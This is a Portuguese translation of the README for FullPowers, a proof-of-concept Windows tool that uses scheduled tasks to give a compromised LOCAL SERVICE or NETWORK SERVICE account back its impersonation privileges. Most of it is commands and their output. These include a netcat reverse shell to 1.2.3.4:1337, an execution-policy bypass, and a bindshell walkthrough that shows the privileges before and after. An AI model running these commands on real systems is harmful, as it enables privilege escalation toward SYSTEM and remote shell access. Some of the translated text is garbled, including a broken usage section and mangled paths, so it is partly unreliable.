FullPowers é uma ferramenta de prova de conceito que criei para recuperar automaticamente o conjunto de privilégios padrão de uma conta de serviço, incluindo SeAssignPrimaryToken e SeImpersonate .
No Windows, alguns serviços executados como LOCAL SERVICE
ou NETWORK SERVICE
são configurados para serem executados com um conjunto restrito de privilégios . Portanto, mesmo que o serviço esteja comprometido, você não obterá os privilégios de representação dourada e o escalonamento de privilégios para LOCAL SYSTEM
deverá ser mais complicado. No entanto, descobri que, quando você cria uma tarefa agendada , o novo processo criado pelo Task Scheduler Service possui todos os privilégios padrão da conta de usuário associada (exceto SeImpersonate ). Portanto, com algumas manipulações de token, você pode gerar um novo processo com todos os privilégios ausentes.
Uso
LOCAL SERVICE
ou NETWORK SERVICE
.
Você pode verificar a mensagem de ajuda usando a opção -h
.
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
Você quer testar este PoC você mesmo? Isso é ótimo! Aqui estão algumas instruções simples para você começar.
A ideia geral é iniciar um bindshell a partir do processo de um serviço existente, conectar-se a ele e executar o executável.
Você precisará de 2 ferramentas de terceiros, netcat e RunFromProcess.
Escolha um serviço com privilégios limitados, por exemplo: upnphost
.
Abra o Gerenciador de Tarefas , vá até a aba Serviços e obtenha o PID do processo correspondente.
Use o seguinte comando para iniciar o bindshell como administrador :
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
Use o seguinte comando para conectar-se ao bindshell:
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
Podemos ver que o processo atual não possui privilégios de representação. Agora execute o PoC...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Agora você deve ter um shell com privilégios de representação !